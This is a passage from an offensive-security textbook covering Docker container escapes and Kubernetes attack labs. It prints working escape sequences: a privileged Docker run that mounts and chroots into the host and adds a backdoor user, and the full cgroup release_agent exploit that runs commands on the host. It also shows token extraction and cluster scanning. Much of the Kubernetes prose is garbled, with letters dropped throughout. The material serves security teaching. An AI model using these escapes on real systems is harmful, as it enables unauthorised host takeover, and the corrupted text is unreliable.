20 root 0:00 /bin/sh
28 root 0:00 ps -ef
/code # cat /proc/1/cgroup❺
12:cpuset:/docker/1627680fd2d7e7b92c3405b7c7d7ce474aed7abba3780e4a027742ccea5309bb
<Omitted-For-Brevity>
1:name=systemd:/docker/1627680fd2d7e7b92c3405b7c7d7ce474aed7abba3780e4a027742ccea5309bb
0::/system.slice/containerd.service
/code # mount❻
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/
l/3X4T6OJ6GBHFJNXSSIKCOMMDRG:/var/lib/docker/overlay2/l/5DNFTYUP7HSMEXXXF2ZXCW5J3U:/
615
var/lib/docker/overlay2/l/QMSJGZMMOTN6FILIJQSQICUC4H:/var/lib/docker/overlay2/l/
TFLCV4NYYCZINIWBZDAQB6Y27S:/var/lib/docker/overlay2/l/ZZCPULUIHQKZEKDE6PEO7CZAH7:/
var/lib/docker/overlay2/l/7CNC3VEI2FM6QKM6U4TTL2O5BI:/var/lib/docker/overlay2/l/
CHCC4VJBGACUTIBJNQOXKX43PX:/var/lib/docker/overlay2/l/LOWUPQTQFJWVFPDS6ZUOFFH4OH:/
var/lib/docker/overlay2/l/4ANVYYIVOTXLKJNW4ZVXDK3DWB:/var/lib/docker/overlay2/
l/2FRUQCGQLTMZK5KS7FG54ADCEK:/var/lib/docker/overlay2/l/A7XZTOYS74EK2NFPK3APPUB7XO,up
perdir=/var/lib/docker/overlay2/4c77ebfcc69c4d26d42342c87114ce3c9fc320b51b9518db8037fb
8a99933365/diff,workdir=/var/lib/docker/overlay2/4c77ebfcc69c4d26d42342c87114ce3c9fc320
b51b9518db8037fb8a99933365/work,xino=off)
The Docker exec command ❶ allows us to execute commands inside of the Docker
container. Using -H, we can direct Docker to a specific host. Using the -i flag, we can
interact with the container, and using the -t flag, we can execute the commands against
the container tag that is given “targets_web_1.” The command that is provided at the end,
/bin/sh, is the command that will be run. Why not /bin/bash? This container is running
Alpine Linux, which is a very lightweight distribution commonly found in container envi-
ronments. While we cannot ever be sure what the target distribution is, we do know that
even distributions like Alpine that run the BusyBox shell will have /bin/sh. Many binaries
are not available on the containers running Alpine, by default, including bash.
The next series of commands allows us to do some rudimentary views around the
container environment. Notice that you are running as root, which is denoted both by
the # prompt ❷, as well as by the env command in which your HOME is set to /root.
Running env ❸ can give us a nice view as to what is running in the container. Some-
times environment variables help us understand the environment, as many of the secrets
and useful artifacts may be present. In this container, there is nothing unique that we
can find within the environment variables. What we do have, however, are several inter-
esting items to note:
• The HOSTNAME=: string that follows is in 8-digit hex format, indicative of a

Docker container naming convention
• The PYTHON_VERSION= string indicates that the container is specifically
only for Python or a Python-based service, like flask.
If we look at the output of ps -ef ❹, we can also see that this container is running its
PART VI
main process as PID 1. If we recall how cgroups work, we can look inside of /proc/1/
cgroups ❺ to see what cgroups are mapped to this process. In the cgroups section, we will
note the Docker mapped container, which is a SHA-256 of the final merged Overlay2
disk. The mount ❻ command also shows us how that overlay disk is layered onto the
system—something that may come in handy:
/code # netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.11:33317 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:5000 0.0.0.0:* LISTEN
tcp 0 0 172.18.0.2:5000 162.142.125.54:36242 TIME_WAIT
tcp 0 0 172.18.0.2:38632 172.18.0.3:6379❽ ❼ESTABLISHED
udp 0 0 127.0.0.11:55258 0.0.0.0:*
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node Path
/code #
616
Using the netstat command, we can look for ESTABLISHED ❼ and existing con-
nections that may not be directly exposed to the pod. We may recognize that one of these
ports is that of the Redis ❽ key/value database. Containers are somewhat immutable
by nature; however, they accommodate changes in the container after execution. These
changes are discarded on container restart or rebuild. We can use the container’s operat-
ing system to bring down any binaries we may require to move around this device.
Lab 29-7: Pivots
We can move laterally in an environment several ways, including setting up port forwards
and proxies. We can also just bring down binaries to help us move further in an environ-
ment until we need to perform an additional direct pivot.
/code # cat /etc/os-release❶
NAME="Alpine Linux"
ID=alpine
/code # apk --update add redis❷
fetch https://dl-cdn.alpinelinux.org/alpine/v3.13/main/x86_64/APKINDEX.tar.gz
(1/1) Installing redis (6.0.11-r0)
Executing busybox-1.32.1-r3.trigger
OK: 141 MiB in 49 packages
Identifying the container operating system will be critical in bringing down operating
system packages ❶. Alpine is a very popular container-based operating system due to its
small size. Understanding that the container is running Alpine, we can use apk ❷, the
Alpine package manager, to install the Redis package. We now have several components
to move around laterally within the same host, and we have a shell on one container with
its capability to talk to another container on the same host. These containers are able to
communicate because they share the same networking cgroup information.
/code # redis-cli -h redis
redis:6379> KEYS *
1) "hits"
The Redis container only has a single key with the name of hits. Redis can contain all
manner of information, and many times we can get Redis to give us a backdoor shell on
the system. Can we go any further in our environment? Can we get on the host operat-
ing system?
Breaking Out of Containers

Container breakouts are a common form of conversion in many circles, and there is a
very good reason why. You may recall that hypervisors provide a great level of restric-
tion in having the hardware being the demarcation point for the virtual machines. The
tradeoff with containers is that the kernel is shared across all containers, which would
617
make the kernel itself the demarcation point between containers. As you can probably
imagine, this level of process isolation is only secure if no kernel exploits exist. The
restrictions of the container are based on a shared system, which is a security tradeoff.
Capabilities
The Linux Kernel has an inherent set of capabilities that can be enabled to allow for more
granular control of what a user is allowed or not allowed to do. One common example
you may run into is when using the popular Wireshark tool as a non-root user. The sys-
tem will ask you to enable the following capabilities:9
• CAP_NET_RAW Use RAW and PACKET sockets

• CAP_NET_ADMIN Allows for the administration of networking capabilities
such as interface configurations
Docker has a special flag that is run to turn off all controls: the --privilege flag. This
flag disables the AppArmor profiles10 for the container and also disables the capabilities
restriction. It is not unreasonable to find conditions in reverse proxies and other interme-
diary systems in which this flag on a container is run.
Lab 29-8: Privileged Pods
Let’s execute a Docker container using the privileged command and passing in devices
from the host.
└─$ docker -H 10.0.0.50 run -it --name nginx --privileged --ipc=host --net=host
--pid=host -v /:/host ubuntu❶
root@ip-10-0-0-50:/#
root@ip-10-0-0-50:/# ps -ef❷
PID USER TIME COMMAND
1 root 0:15 {systemd} /sbin/init
2 root 0:00 [kthreadd]
PART VI
85591 root 0:00 /usr/bin/containerd-shim-runc-v2 -namespace moby
-id e4dee9f982a38f79f94f2e302a3b41b0558cf9b75f273d5fcb3cef0d
85621 root 0:00 sh
85656 root 0:00 ps -ef
root@ip-10-0-0-50:/host# ls
bin dev home lib32 libx32 media opt root sbin srv tmp var
boot etc lib lib64 lost+found mnt proc run snap sys usr
root@ip-10-0-0-50:/host# chroot /host❸
# /bin/bash❹
root@ip-10-0-0-50:/# systemctl status❺
i p- 10- 0- 0- 50
State: running
Jobs: 0 queued
Failed: 0 units
Since: Fri 2021-02-26 14:23:35 UTC; 1 weeks 2 days ago
CGroup: /
├─3687 bpfilter_umh
├─init.scope
│ └─1 /sbin/init
└─system.slice
618
└─systemd-logind.service
└─490 /lib/systemd/systemd-logind
root@ip-10-0-0-50:/# adduser ghh-hack❻
Adding user `ghh-hack' ...
Adding new group `ghh-hack' (1002) ...
Adding new user `ghh-hack' (1002) with group `ghh-hack' ...
Is the information correct? [Y/n] Y❼
exit
# exit
root@ip-10-0-0-50:/host# exit
exit
└─$ exit❽
Connection to 3.94.148.9 closed.
In many environments today, Docker’s socket is exposed to the general network. The
Docker socket, outside of the enterprise Swarm product, is not hardened in any mean-
ingful way. If we are able to attach to the Docker socket, we can execute commands as if
we were on the host itself. We can use a very small, lightweight container like the Busy-
Box container as a beachhead in our attack ❶, and we can even use additional commands
to allow us to mount the host’s / partition into the container as /host. Using BusyBox
has several advantages, one of which is that it will not trigger any alarms by itself. Now
that we have started the BusyBox container with privileges we can start to use the shell to
execute commands as if we are on the host itself.
Once we have the container booted, we can check for specific permissions, such as
using the ps ❷ command to list the processes of the entire system. This would reveal
other containers, and even our own container’s disk location. From here, we can chroot
the /host partition ❸ to make our container’s root the host’s root. We can use system bash
❹ and even run commands on the host as if we were not in the container itself. We can
prove full access at this point by running commands such as systemctl, which will allow
us to show all the processes on the host ❺. To get remote system access, we can add a local
user we can log in with ❻. We can make sure to run through all the default questions ❼.
To test access back into the system, we can now exit all the way back ❽. From here, we
can log in to the Docker host directly if we need to.
Lab 29-9: Abusing Cgroups
What if we find ourselves in an environment where we have command execution but not
direct access to the Docker process? Perhaps a picture would help; Figure 29-3 showcases
an attack path where we are able to escape a container using a simple escape sequence.
Here we find some vulnerability in a container and can execute commands on a
container. Let’s explore a container escape sequence that was first disclosed by Felix
Wilhelm11 and demonstrates a simple chroot mounting issue. Continuing from our
previous lab, we are currently within a container called target_web_1 on the remote
619
Command Injection Website in

Container
Hacker Container Escape
Figure 29-3 Container escape sequence
Docker instance. From here, we are going to run a localized exploit using children
cgroups that allow us to execute operating system commands on the host:
/code # dir=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)` ❶
/code # echo $dir
/sys/fs/cgroup/rdma
/code # ls $dir
cgroup.clone_children cgroup.sane_behavior release_agent
cgroup.procs notify_on_release tasks
/code # mkdir -p $dir/w❷
/code # echo 1 >$dir/w/notify_on_release❸
/code # cat $dir/w/notify_on_release
1
/code # mtab=$(sed -n 's/.*\perdir=$[^,]*$.*/\1/p' /etc/mtab) ❹
/code # echo $mtab
/var/lib/docker/overlay2/da517f8829173f04bfd3a95a88451c0958fc85267ecf787be53b29
f9d8f0be22/diff
/code # touch /output❺
/code # echo $mtab/cmd >$dir/release_agent;printf '#!/bin/sh\nps >'"$mtab/output" >/cmd❻
/code # cat /cmd
#!/bin/sh
ps >/var/lib/docker/overlay2/da517f8829173f04bfd3a95a88451c0958fc85267ecf787be53
b29f9d8f0be22/diff/output/code #
/code # chmod +x /cmd;sh -c "echo 0 >$dir/w/cgroup.procs"❼;sleep 1;cat /output❽
PID TTY TIME CMD
1 ? 00:00:20 systemd
118180 ? 00:00:00 kworker/u30:0-events_power_efficient
118220 ? 00:00:00 cmd
118222 ? 00:00:00 ps
PART VI
The first command sets the directory to /sys/fs/cgroup/rdma ❶, which is the cgroups
v1 directory that references direct memory shared among all containers. From here, a
directory called w is created, which will create another potential cgroup (this one just
simply called x ❷). Cgroups in v1 can be nested by type and not by process, so creating a
folder here creates a potential new cgroup, just unreferenced. The notify_on_release ❸
flag signifies to the kernel that it will execute the final command referenced in the
release_agent file. If we can control the release_agent file, we have command execution
on the host.
Consider how the kernel would have to find this location: it would need to know not
the chrooted location of the file but the actual location of the file. How do we find the
location of the final cmd to run? The final working directory of the host is the final layer
in the OverlayFS system, which is typically referenced as the diff directory. We can find
620
this using the mtab file to locate our overlay file system location ❹. Once we know this,
we have a few additional hurdles. First, we need a location to store our output inside
of the container; think of this as a way to send messages from the host into the kernel.
We can use a file for this (in our case, /output ❺). Next, we need to let the release_agent
know the file to run.
In our example, /cmd ❻ is the command to run and /output ❻ stores our output.
The final step is to make the command executable and tell the cgroup that we created in
/w to exit. We can do this by storing a 0 in /w/cgroup.procs, which instructs the kernel
that the cgroup can now exit ❼. We can even read the contents of that output after paus-
ing for 1 second to allow the host system to execute the task ❽.
Why is this possible? How can we accomplish these commands? First of all, the
cgroups v1 system has to be in place, which will be in place for quite some time, as the
Linux Kernel did not introduce cgroups v2 until Kernel version 4.5 and was not in major
distribution until Fedora 31. Ubuntu 18.04 LTS and 20.04 LTS still use cgroups v1, as
do many RedHat distributions still in use today. The next thing we need is either the
--privilege flag or the kernel capabilities that enable mount. This is just one example of
many in which a kernel attack can lead to system compromise. Have you ever seen any
kernel exploits in the wild that may also be a vehicle for this?
Summary
Containers are used as a mechanism to help scale architectures and provide resiliency
to software. Containers trade security for operational efficiency, and this chapter high-
lighted many of the vulnerabilities we might encounter in the wild. This chapter walked
through the components found in containers and how to potentially exploit them. The
next time you find yourself in an application stack, the first thing to check may in fact
be whether or not you are in a containerized environment. You could find yourself given
the capability to escape that environment and move outside to other parts of the archi-
tecture with less effort than initially thought.
For Further Reading

Linux Kernel Administrators Guide, Control Groups Version 1 www.kernel.org/
doc/html/latest/admin-guide/cgroup-v1/cgroups.html
“Namespaces and cgroups, the basis of Linux containers,” presentation by Rami Rosen
at NetDev 1.1 netdevconf.info/1.1/proceedings/slides/rosen-namespaces-cgroups-lxc
.pdf
“A seccomp overview” lwn.net/Articles/656307/
“seccomp(2)—Linux manual page” man7.org/linux/man-pages/man2/seccomp.2.html
Cgroups documentation www.kernel.org/doc/Documentation/cgroup-v1/cgroups.txt
621
AppArmor documentation gitlab.com/apparmor/apparmor/-/wikis/Documentation
LWN.net, “Namespaces in Operation”
Part 1: lwn.net/Articles/531114/
“Content trust in Docker” docs.docker.com/engine/security/trust/
“Isolate containers with a username namespace” docs.docker.com/engine/security/
userns-remap/
“Dirty Cow (CVE-2016-5195) Docker Container Escape” blog.paranoidsoftware
.com/dirty-cow-cve-2016-5195-docker-container-escape/
“How I Hacked Play-with-Docker and Remotely Ran Code on the Host” www
.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-
remotely-ran-code-on-the-host
The Route to Root: Container Escape Using Kernel Exploitation www.cyberark
.com/resources/threat-research-blog/the-route-to-root-container-escape-using-kernel-
exploitation
“The Use of Name Spaces in Plan 9” doc.cat-v.org/plan_9/4th_edition/papers/names
References
1. “Open Container Initiative Image Format Specification,” https://github.com/
opencontainers/image-spec/blob/master/spec.md.
2. “Open Container Initiative Runtime Specification,” https://github.com/
opencontainers/runtime-spec/blob/master/spec.md.
3. “Open Container Initiative Distribution Specification,” https://github.com/
opencontainers/distribution-spec/blob/main/spec.md.
4. “Use the OverlayFS storage driver,” https://docs.docker.com/storage/storagedriver/
overlayfs-driver/.
PART VI
5. “About the Open Containers Initiative,” https://opencontainers.org/about/overview/.
6. “Control Group v2,” https://www.kernel.org/doc/Documentation/cgroup-v2.txt.
7. “Don’t Panic: Kubernetes and Docker,” https://kubernetes.io/blog/2020/12/02/
dont-panic-kubernetes-and-docker/.
8. “Docker Engine API (v 1.41),” https://docs.docker.com/engine/api/v1.41/.
9. Kernel Capabilities, Linux Man Pages, https://linux.die.net/man/7/capabilities.
10. “AppArmor security profiles for Docker,” https://docs.docker.com/engine/security/
apparmor/.
11. Felix Wilhelm, Twitter, https://twitter.com/_fel1x/status/1151487051986087936.
Hacking on Kubernetes
CHAPTER
30
• Kubernetes architecture
• Fingerprinting Kubernetes API Servers
• Getting access to Kubernetes internals
• Moving laterally
I his chap, w will alk abou o of h ws chologis, mayb h hos
chology, o com aoud sic viualizaio sad. If a coai is h quival
of a viual machi i is us, h Kubs is quival o h VMwa vSph
sysm. Kubs has chagd h way may ogaizaios hav b abl o pack-
ag ad dliv sofwa. Sagly ough, mos of h Kubs disibuios1 ad
sysms a o dployd o ba mal. Thy a gally dployd o xisig viu-
alizaio hadwa, alhough ba mal is suppod. Th bas quim fo Kub-
s is usually a Liux sysm, bu Widows wok suppo has sadily bcom
mo availabl.
Wih all h hyp aoud cloud-aiv achicus, Kubs will b a ma-
agm sysm ha you may hav o cod wih. Wih ach passig las, i
may bcom gally mo difficul o xploi i succssfully. I his chap, w will
us som fudamal Kubs aack chiqus whil cosidig h dfsiv
coxs ad pifalls.
Kubernetes Architecture
Udsadig h iy of h Kubs achicu2 will hlp you aalyz is
waksss. Th fis compo would b o udsad h cool pla. Th cool
pla of Kubs islf is mad up of h coais lisd x.
NOTE The control plane of a system is the plane, or zone, in which the
system operates outside of its standard workloads. This zone is responsible
for the backend of the system and organizes the components that make
up the system. The plane that a user would interact with for a workload on
Kubernetes, such as the web applications hosted on Kubernetes, would be
called the data plane.
623
624
• API Server Th API Sv is h ha of h sysm, ad i is igal
fo commuicaio bw h Kubs Nods ad h Kubs
Compos. All of h compos iac hough h API Sv. This
icluds ial compos as wll as xal compos. Opaos ad
Admiisaos us h API Sv, ad h idividual coais also us i.
• Etcd This is a ky/valu so ha coais h daabas fo cool pla
compos. I is a fillss quival o h /c dicoy i a Uix opaig
sysm. Ecd is also a co compo of h sysm, ad ach API iacio
ha is qusd hough h API Sv ca b wi o Ecd fo oh
compos o ad ad xcu as a qus.
• kube-scheduler This is h schdulig sysm; i maiais h opaio of
h coais. Th kub-schdul looks a wha should b uig, how i
should b uig, ad whh i should b uig ad h sus hos
opaios xcu.
• kube-controller-manager This is a sis of coolls ha maiai diff
opaig compos. Each cooll has a spcific ask, ad h maag
ogaizs hm.
• cloud-controller-manager Th cloud-cooll-maag is a absacio
fo ach cloud, ad his allows fo Kubs o wok acoss diff cloud
povids o o-pmiss sysms. Fo xampl, big abl o wok wih
Elasic Load Balacs i EC2 vsus Googl Load Balacs is o wi
io h co of h poduc; isad, i is absacd io his cloud-cooll-
maag lay.
Th oh compos i h cool pla a h compos ha si o ach
idividual od. Th ods u h followig compos o h cool pla lay:
• Kubelet Th Kubs Ag ha commuicas back o h Kubs

API Sv.
• Kube-proxy A po-fowadig ool ha’s lik SSH po fowadig. This
allows h opao of h sysm o commuica wih idividual coais
ha a ially availabl i h clus.
Figu 30-1 shows a diagam of h Kubs achicu compos.
Chapter 30: Hacking on Kubernetes
625
Figure 30-1
Kubernetes
architecture C-M C-C-M Kube-
proxy
API
Etcd Kubelet Containers
Server
Sched
Kubernetes Control Plane Kubernetes Node
Kubernetes Data Plane
Fingerprinting Kubernetes API Servers

Th ha of h Kubs sysm is h API Sv. Th API Sv is usd fo much of
h commuicaios bw h sysm compos. Opaos will us h API Sv
o wok wih h diff compos. Nods will us h API o commuica o
h cool pla. Th API is a scuiy pim of sos; ay miscofiguaio of h
API Sv compos will lad o sysm compomis. W’ll b cafully lookig a his
compo ov h x fw labs.
Lab 30-1: Cluster Setup
To bgi ou labs, w will b saig fom ou cloud-dployd Kali isac, o a a
miimum a isac wh you ca s up h GHH pofil fo Amazo Wb Svics.
Th build scip dos qui a local vsio of Dock b isalld. Usig h Cloud
Shlls may o b possibl. Th miimum quims iclud h capabiliy o lauch
h Amazo Elasic Kubs Svic (EKS)3 as wll as havig a sysm wih Dock
alady o i.
PART VI
└─$ ./build.sh➊
[+] Download eksctl
[+] Running eksctl to build a cluster
<---OMITTED FOR BREVITY--->
echo "-----------------------------------------------------------"
echo "[+] The following URL can be used to access your sock-shop:"
a42e3647a85f94677b898294b5c4e98d-1136228067.us-east-1.elb.amazonaws.com➋
echo "[+] The following URL is your URL for the Kubernetes API:"
https://C34DD3F35D8E41A7B78A68861CC6668A.gr7.us-east-1.eks.amazonaws.com➌
To u h build scip, chag io h ch30/Lab dicoy of h GHHv6 posioy.
Fom h, xcu h build.sh ❶ commad.
626
Oc h build.sh commad is do, you will s oupu givig you wo pics of
ifomaio you will d:
• Th URL of h applicaio fom h Elasic Load Balac uig ou
applicaio ➋
• Th URL of h Kubs API Sv fom h Elasic Kubs Svic ➌
NOTE We will not necessarily be using this application, but we are including
it as a reference application for you to look at. The application features some
very good security practices that we will discuss later in the chapter. The
application is called Sock Shop, and it’s a microservices reference application
by WeaveWorks.4
Th build scip will build sval ims ha a goig o b pa of ou lab:
• I will us h Amazo buil-i Amazo Kubs Svic.

• I will dploy a copy of h Sock Shop micosvics dmo applicaio.
• I will dploy h moioig fo h Sock Shop micosvics dmo applicaio.
• I xposs h applicaio o h I.
• I dploys a copy of h Kubsik applicaio locally.
This viom givs us a ich ag spac o look a how coais a dployd
io a poducio viom. I also givs us sval amspacs o wok hough
ad s how issus wih Kubs appa. Namspacs i Kubs allow h
opaos o paiio wokloads wihi h sysm, icludig high od logical
goupigs fo logical spaaio. By hmslvs, you should o cosid amspacs
scuiy cools. Thy ca b mad o wok aoud pmissios, bu hy a jus
pmissiod absacio lays mo ha physically spaad ims. To mak h
viom cos h las amou possibl, w hav sicd h viom o h
followig compos:
• Th EKS buil-i svic, which is a bas quim

• O Kubs Nod uig a 2 mdium viom
NOTE The instance is in the “Large” range of machines, which can be

expensive if left for months at a time. Remember that this lab can be torn
down and rebuilt very quickly. It is recommended that you take advantage
of this to reduce the overall cost of the lab.
627
Finding Kubernetes API Servers
W will b lookig a h API dpoi fo h Kubs viom. Bfo w do,
w d o cosid a bi of backgoud. Fis, how do w fid dpois o h I-
? Th a a muliud of mchaisms affodd o us:
• Cifica aspacy pos5

• Bu-focig DNS is
• Ifomaio disclosu hough popl submiig cod blocks o sampls
Scod, w ca fid hs sam dpois if w hav accss o a coai i which
hy a cocd o a xisig clus. Isad of focusig o ach ad vy possibl
chiqu, w commd lookig a som of h aicls i h “Fo Fuh Radig”
scio o s how hs dpois a xposd ad how h issu is s i h wild.
Fo ow, kp ack of h pos Kubs xposs, alhough fom h I, h
oly po ha should b xposd is po 443. Tabl 30-1 liss all h pos ha poially
ca b xposd.
Ifomaio abou h Kubs Sv will lak ou of vaious mhods, icludig
Uifom Rsouc Idifis (URIs) ha w ca pass o svs o IP addsss as wll as
Protocol Port Source Purpose Threat Vector

TCP 443 Nodes, API Kubernetes Should not be exposed to the
6443 requests, API Server Internet but often is. Can be a note,
8080 end users but not a critical vulnerability.
Outside of 443, the other ports
are sometimes used.
TCP 10250 Control Kubelet API Should never be exposed to the
plane Internet and should not be exposed
to the container. Default on.
TCP 10251 Control Scheduler This should never be exposed to the
plane Internet or scheduler port.
PART VI
TCP 10252 Control Controller Maintains the health of the cluster-
plane Manager monitoring port. Never expose.
TCP 10255 Nodes Read-Only Should never be exposed to the
Kubelet API Internet and should not be exposed
to the container. Default on.
TCP 10258 Control Cloud Cloud deployment cloud service
plane Controller providers. Never expose.
Manager
TCP 2379–2380 Control Ectd Server Should never be exposed as
plane Client API writeable from the containers
or the Internet.
Table 30-1 TCP and UDP Ports for the Cluster6
628
oh idicaos, such as h cificas ha svs sd us. Wha a som of h URIs
w ca look a? H’s a lis of Kubs-aiv URIs of o:
• /version Th spos may iclud a kywod lik giVsio, goVsio,

o “plafom”.
• /api/v1/pods If you g a asw wih “apiVsio” ad do o s “pods is
fobidd,” h you hav foud a ciical sysm issu wh uauhicad
uss ca g o pods.
• /api/v1/info Sam as pods, bu his is a addiioal dpoi o su ha
gal-pupos pmissios a appopialy s.
• /ui This is h lss-usd Kubs Dashboad pojc URI, which should
v b xposd o h I.
Scas may also b kyig io spcific x i h HTML ha is ud by scas:
• “Kubernetes Dashboard</title>” This sig vals HTML ha could

idica h psc of h Kubs Dashboad.
Lab 30-2: Fingerprinting Kubernetes Servers
L’s sa by cocig o h Kubs API Sv ad s wha obsvabls appa.
You URL is show af h Kubs build scip is do. Mak su you do o us
h xac URL i ou book, as ach ad will s a diff valu.
└─$ curl -v -k https://6AB7167064B54A5517621FF9DE0AF0FC.gr7.us-east-1.eks
.amazonaws.com➊
* Trying 44.193.148.65:443...
* Connected to 6AB7167064B54A5517621FF9DE0AF0FC.gr7.us-east-1.eks.amazonaws
.com (44.193.148.65) port 443 (#0)
* ALPN, server accepted to use h2
* Server certificate:
* subject: CN=kube-apiserver➋
* start date: Aug 3 01:18:50 2021 GMT
* expire date: Aug 3 01:24:05 2022 GMT
* issuer: CN=Kubernetes➌
< x-kubernetes-pf-flowschema-uid: f48c01fe-3eb5-4e55-bb19-6c1f712e2a1d➍
< x-kubernetes-pf-prioritylevel-uid: f9f1a4ed-2e93-49a0-aa00-2436e1da688c
{
"kind": "Status",
"apiVersion": "v1",
"metadata": {
},
629
"status": "Failure",
"message": "forbidden: User \"system:anonymous\" cannot get path \"/\"",➎
"reason": "Forbidden",
"details": {
},
"code": 403
* Connection #0 to host 6AB7167064B54A5517621FF9DE0AF0FC.gr7.us-east-1.eks
.amazonaws.com left intact
}
O of h asis ways o discov h Kubs API Sv is o jus amp
o coc o i. Ev a simpl commad-li ool lik cURL ➊ ca b usd o look
fo h maks ha allow us o figpi a liv sv. Th a sval higs o
o h wh cocig o Kubs. Th fis is ha h API Sv is uig
a cifica ha coms fom h ial Kubs PKI ➌. Noic ha h idd
us of h sysm is dclad i is Commo Nam (CN) ➋. This is o a sadad
usd oo cifica auhoiy ha will b i you us so, so you will d o
allow fo iscu cificas.
Som of h w Kubs Svs may show addiioal hads o h API Sv
(as a xampl, h hads fo pioiy ad flow cool ➍). O of h mos impoa
maks fo us is h JSON oupu ha is ud fom h API Sv. Th sig
ha is show—"fobidd: Us \"sysm:aoymous\" cao g pah \"/\""—is faily
uiqu o h Kubs API Sv ➎.
L’s xplo som of h oh API dpois ha may o b pocd:
.amazonaws.com/version
{
"major": "1",
"minor": "20+",
"gitVersion": "v1.20.7-eks-8be107➏",
}
H w s h dpoi ha povids h vsio of h API sv. By dfaul, i
PART VI
povid us, wihou auhicaio, ifomaio abou h sysm, icludig ha i
is uig a Kubs giVsio ha is 1.20.7-ks-8b107 ➏. This is o jus a
xac build wih a commi umb fc, i’s a build likig his o Amazo Elasic
Kubs Svic (EKS).
.amazonaws.com/api/v1/pod➐
"message": "pod is forbidden: User \"system:anonymous\" cannot list
resource \"pod\" in API group \"\" at the cluster scope➑",
"reason": "Forbidden",
"details": {
"kind": "pod"
}
630
This big h xposd API Sv, w ca also sca fo oh dpois lookig fo
ay o-auhicad poial dpois, such as lookig a h pods API ➐. Th
API h is showig ha i quis auhicaio ➑. No of hs APIs should hav
aoymous op, as may of hs fixs w mad sval lass ago; howv, jus lik
opaig sysms, o vy clus is up o da ad uig h las vsios.
Hacking Kubernetes from Within

Thoughou his book, you hav ad hough a myiad of ways o gai accss o wb-
sis, coais, ad may oh sysms. Ay umb of mchaisms xis o allow
aacks o g a shll o o a sysm. W a goig o s how a aack ca mov
laally houghou a viom. I h pvious chap, w alkd abou pivoig
aoud wih coais. Th sam logic applis i Kubs, wih much lag ad
poially mo cosquial issus.
Usig a solid wokig lay lik isio7 ha allows fo mico-sgmaio bw
coais is idal. Ths yps of sysms ca allow h admiisao o push ou fiwall
limis as pa of hi sadad build pocss. Usig a oolchai lik his, sgmig
igss ad gss affic flows would pv Lay 2 laal movms. I addiio,
pojcs lik isio ca abl mTLS, o Muual TLS, bw coais o cyp ad
scu affic chals. Rf o Figu 30-2 as w alk abou wha is happig o h
od islf.
L’s u h commad ha allows us o g a AWS EKS auhicaio ok.
Usig his ok w ca gai admiisao- o opao-lvl accss o Kubs. W
ca fuh jus look a h ok islf by usig h jq commad o pas ou jus h
ok valu ha w ca pass o a aack ool. If you hav v usd OpIDCoc
o OAuh2, you auhicaio ok is i his valu.
Figure 30-2
Kubernetes node Container 1 Namespace 1
architecture
Network Bridge
Container 2 Namespace 2
Container 3 Namespace 3
Kubelet
K8S Node
631
Movd i ad do.
└─$ aws eks get-token –profile ghh –cluster-name ghh –region us-east-1 | jq
-r '.status.token'
k8s-aws-v1.aHR0cHM6Ly9zdHMuYW1hem9uYXdzLmNvbS8_QWN0aW9uPUdldENhbGxlcklkZ-
W50aXR5JlZlcnNpb24
←-OMITTED FOR BREVITY-->
zZjY0NDZmMmY0OTAwNDBlN2ZmZDY5NTM0N2IyMGZkNWFhM2NmOTg1MzJkYzQ1
Lab 30-3: Kubestriker
O of h ools w ca lvag o aack Kubs is a Pyho-basd ool calld
Kubsik. This applicaio allows you o sca, spcify a URL, o us a cofiguaio fil
o aack a Kubs viom. Ou fis s will b o lvag ou ow kubcofig
fil. W hav compssd much of h oupu o sav o spac, bu udsad ha his
ool has may pomps ad faus log, poacd oupu ha w will b discussig.
└─$ docker run -– --rm -v /home/kali/.kube/config:/root/.kube/config "v "$(p"d)":/
kubestrik– --name kubestriker cloudsecguy/kubestriker:v1.0.0➊
root@aa5a1f4981cd:/kubestriker# python -m kubestriker➋
###########################################################################
____ __ __ __ _ __ __
\ \ \ / /____ __/ /_ ___ _____/ /______(_) /_____ _____ \ \
[+] Gearing up Kube-Striker..................................................
Choose one of the below options: (Use arrow keys)
url or ip
> configfile ➌
iprange or cidr
> default ❹
Kube config custom path
Choose one of the below cluster: (Use arrow keys)
> ghh.us-east-1.eksctl.io➎
[+] Performing Service Discovery..... 100%
PART VI
The version of Kubernetes is: v1.20.7-eks-8be107
> authenticated scan➏
unauthenticated scan
[+] Scanning Network policies ....
100%
Chose one of the below options: (Use arrow keys)
execute command on containers
> exit➐
Chose one of the below options: (Use arrow keys)
----------------------------------------------------------------
< Scan completed and Results generated with the target file name >
----------------------------------------------------------------
Choose process continue or exit : (Use arrow keys)

continue
> exit➑
root@545d9c47a367:/kubestriker# exit➒
632
Th Kubsik applicaio is a mu-div wokflow o collc ad display h daa.
To sa h applicaio wokflow, w will u h applicaio i Dock, symbolically
likig h oupu dicoy o ou omal dicoy ➊. Oc you a i a coai, you
ca u Kubsik by callig Pyho o h modul ➋. W will b usig h kubcofig
➍ locally hosd ➌ o ou sysm ha pois o ghh.us-as-1.kscl.io ➎. This will b a
auhicad sca ➏. W will discuss how o g accss o cdials la i his chap.
NOTE As of this writing, the us-east-1.eksctl.io subdomain does not exist. It

is not clear whether or not there is a potential change in the application to
start to distribute a well-known DNS name for each cluster. This would make
it much easier for attackers to locate EKS clusters that are built with eksctl.
W will o b akig h addiioal sp a his im o xcu ay commads o
coais, bu udsad ha w ca, giv ha w a a admiisao culy. W
will simply xi ➐ h applicaio ad h coai ➑.
Oc h sca is compl, w ca look a h ovall oupu of h sca. Th ool
amps o b a xploiaio ool, bu much of h fucioaliy of h ool is aoud
vulabiliy discovy mo ha xploiaio.
└─$ cat 6AB7167064B54A5517621FF9DE0AF0FC.gr7.us-east-1.eks.amazonaws.com.txt
Performing Service Discovery on host 6AB7167064B54A5517621FF9DE0AF0FC.gr7.us-
east-1.eks.amazonaws.com➊..........
╔════════════════════════════════╗
║ ######## Admin roles ######## ║
╚════════════════════════════════╝
cluster-admin is a cluster admin role
Group system:masters has Admin Privileges in Cluster
ServiceAccount default has Admin Privileges in namespace default➋
╔═════════════════════════════════════════╗
║ ######## Privileged containers ######## ║
╚═════════════════════════════════════════╝
aws-node is configured wit' {'hostNetw'rk': True}
